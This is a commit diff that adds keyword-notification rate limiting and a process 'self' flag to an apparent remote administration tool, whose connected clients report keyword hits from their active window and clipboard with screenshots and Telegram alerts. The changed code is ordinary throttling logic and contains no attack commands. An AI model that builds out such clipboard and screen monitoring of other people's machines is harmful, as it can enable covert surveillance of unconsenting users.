show running process in process viewer and add limiting to the notification system
This commit is contained in:
@@ -41,6 +41,9 @@ export interface Config {
|
||||
telegramBotToken: string;
|
||||
telegramChatId: string;
|
||||
clipboardEnabled: boolean;
|
||||
antiSpamMaxHits: number;
|
||||
antiSpamWindowMs: number;
|
||||
antiSpamCooldownMs: number;
|
||||
};
|
||||
security: {
|
||||
sessionTtlHours: number;
|
||||
@@ -117,6 +120,9 @@ const DEFAULT_CONFIG: Config = {
|
||||
telegramBotToken: "",
|
||||
telegramChatId: "",
|
||||
clipboardEnabled: false,
|
||||
antiSpamMaxHits: 15,
|
||||
antiSpamWindowMs: 600000,
|
||||
antiSpamCooldownMs: 600000,
|
||||
},
|
||||
security: {
|
||||
sessionTtlHours: 168,
|
||||
@@ -438,6 +444,18 @@ export function loadConfig(): Config {
|
||||
String(process.env.OVERLORD_NOTIFICATION_CLIPBOARD_ENABLED || "").toLowerCase() === "true" ||
|
||||
fileConfig.notifications?.clipboardEnabled ||
|
||||
DEFAULT_CONFIG.notifications.clipboardEnabled,
|
||||
antiSpamMaxHits:
|
||||
Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_MAX_HITS) ||
|
||||
fileConfig.notifications?.antiSpamMaxHits ||
|
||||
DEFAULT_CONFIG.notifications.antiSpamMaxHits,
|
||||
antiSpamWindowMs:
|
||||
Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_WINDOW_MS) ||
|
||||
fileConfig.notifications?.antiSpamWindowMs ||
|
||||
DEFAULT_CONFIG.notifications.antiSpamWindowMs,
|
||||
antiSpamCooldownMs:
|
||||
Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_COOLDOWN_MS) ||
|
||||
fileConfig.notifications?.antiSpamCooldownMs ||
|
||||
DEFAULT_CONFIG.notifications.antiSpamCooldownMs,
|
||||
},
|
||||
security: {
|
||||
sessionTtlHours:
|
||||
|
||||
@@ -232,6 +232,7 @@ export type ProcessInfo = {
|
||||
memory: number;
|
||||
username?: string;
|
||||
type?: string;
|
||||
self?: boolean;
|
||||
};
|
||||
|
||||
export type ProcessListResult = {
|
||||
|
||||
@@ -170,6 +170,19 @@ export async function handleNotificationsConfigRoutes(
|
||||
}
|
||||
}
|
||||
|
||||
const antiSpamMaxHits =
|
||||
typeof body?.antiSpamMaxHits === "number"
|
||||
? Math.max(1, Math.min(10000, Math.floor(body.antiSpamMaxHits)))
|
||||
: currentConfig.antiSpamMaxHits;
|
||||
const antiSpamWindowMs =
|
||||
typeof body?.antiSpamWindowMs === "number"
|
||||
? Math.max(5000, Math.min(86400000, Math.floor(body.antiSpamWindowMs)))
|
||||
: currentConfig.antiSpamWindowMs;
|
||||
const antiSpamCooldownMs =
|
||||
typeof body?.antiSpamCooldownMs === "number"
|
||||
? Math.max(5000, Math.min(86400000, Math.floor(body.antiSpamCooldownMs)))
|
||||
: currentConfig.antiSpamCooldownMs;
|
||||
|
||||
const updated = await updateNotificationsConfig({
|
||||
keywords,
|
||||
webhookEnabled,
|
||||
@@ -178,6 +191,9 @@ export async function handleNotificationsConfigRoutes(
|
||||
telegramBotToken,
|
||||
telegramChatId,
|
||||
clipboardEnabled,
|
||||
antiSpamMaxHits,
|
||||
antiSpamWindowMs,
|
||||
antiSpamCooldownMs,
|
||||
});
|
||||
|
||||
for (const client of clientManager.getAllClients().values()) {
|
||||
|
||||
@@ -33,6 +33,12 @@ type NotificationRateState = {
|
||||
lastWarned: number;
|
||||
};
|
||||
|
||||
type AntiSpamState = {
|
||||
hits: number;
|
||||
windowStart: number;
|
||||
blockedUntil: number;
|
||||
};
|
||||
|
||||
type PendingNotificationScreenshot = {
|
||||
notificationId: string;
|
||||
clientId: string;
|
||||
@@ -45,6 +51,9 @@ type NotificationConfigShape = {
|
||||
spamWindowMs?: number;
|
||||
spamWarnThreshold?: number;
|
||||
historyLimit?: number;
|
||||
antiSpamMaxHits?: number;
|
||||
antiSpamWindowMs?: number;
|
||||
antiSpamCooldownMs?: number;
|
||||
};
|
||||
|
||||
type CreateDeps = {
|
||||
@@ -88,6 +97,8 @@ function safeSendViewer(ws: ServerWebSocket<SocketData>, payload: unknown) {
|
||||
}
|
||||
|
||||
export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
const antiSpamState = new Map<string, AntiSpamState>();
|
||||
|
||||
const pluginUIEventBuffer = new Map<string, Array<{ event: string; payload: any; ts: number }>>();
|
||||
const PLUGIN_UI_EVENT_BUFFER_MAX = 200;
|
||||
const PLUGIN_UI_EVENT_TTL_MS = 60_000;
|
||||
@@ -183,6 +194,43 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
return true;
|
||||
}
|
||||
|
||||
function checkAntiSpam(key: string, ts: number): boolean {
|
||||
const notificationConfig = deps.getNotificationConfig();
|
||||
const maxHits = Math.max(1, notificationConfig.antiSpamMaxHits || 15);
|
||||
const windowMs = Math.max(5000, notificationConfig.antiSpamWindowMs || 600000);
|
||||
const cooldownMs = Math.max(5000, notificationConfig.antiSpamCooldownMs || 600000);
|
||||
|
||||
const state = antiSpamState.get(key);
|
||||
|
||||
if (state) {
|
||||
if (ts < state.blockedUntil) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (ts - state.windowStart > windowMs) {
|
||||
state.windowStart = ts;
|
||||
state.hits = 1;
|
||||
state.blockedUntil = 0;
|
||||
antiSpamState.set(key, state);
|
||||
return true;
|
||||
}
|
||||
|
||||
state.hits += 1;
|
||||
if (state.hits > maxHits) {
|
||||
state.blockedUntil = ts + cooldownMs;
|
||||
logger.warn(`[notify] anti-spam: blocked keyword for ${key} until ${new Date(state.blockedUntil).toISOString()} (${state.hits} hits in ${windowMs}ms)`);
|
||||
antiSpamState.set(key, state);
|
||||
return false;
|
||||
}
|
||||
|
||||
antiSpamState.set(key, state);
|
||||
return true;
|
||||
}
|
||||
|
||||
antiSpamState.set(key, { hits: 1, windowStart: ts, blockedUntil: 0 });
|
||||
return true;
|
||||
}
|
||||
|
||||
function pruneNotificationRate() {
|
||||
const notificationConfig = deps.getNotificationConfig();
|
||||
const spamWindow = Math.max(5000, notificationConfig.spamWindowMs || 60000);
|
||||
@@ -193,6 +241,15 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
deps.notificationRate.delete(key);
|
||||
}
|
||||
}
|
||||
|
||||
const antiSpamWindowMs = Math.max(5000, notificationConfig.antiSpamWindowMs || 600000);
|
||||
const antiSpamCooldownMs = Math.max(5000, notificationConfig.antiSpamCooldownMs || 600000);
|
||||
const antiSpamMaxAge = Math.max(antiSpamWindowMs, antiSpamCooldownMs) * 2;
|
||||
for (const [key, state] of antiSpamState) {
|
||||
if (now - state.windowStart > antiSpamMaxAge && now > state.blockedUntil) {
|
||||
antiSpamState.delete(key);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
setInterval(pruneNotificationRate, 60_000);
|
||||
@@ -264,6 +321,10 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
if (!shouldAcceptNotification(rateKey, ts)) {
|
||||
return;
|
||||
}
|
||||
const antiSpamKey = `${clientId}:${keyword || title}`;
|
||||
if (!checkAntiSpam(antiSpamKey, ts)) {
|
||||
return;
|
||||
}
|
||||
const info = clientManager.getClient(clientId);
|
||||
const category: "active_window" | "clipboard" =
|
||||
payload.category === "clipboard" ? "clipboard" : "active_window";
|
||||
@@ -368,6 +429,11 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
deps.notificationRate.delete(key);
|
||||
}
|
||||
}
|
||||
for (const key of Array.from(antiSpamState.keys())) {
|
||||
if (key === clientId || key.startsWith(`${clientId}:`)) {
|
||||
antiSpamState.delete(key);
|
||||
}
|
||||
}
|
||||
const item = { type: "notifications_cleared", clientId, ts: Date.now() };
|
||||
for (const session of sessionManager.getAllNotificationSessions().values()) {
|
||||
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";
|
||||
|
||||
Reference in New Issue
Block a user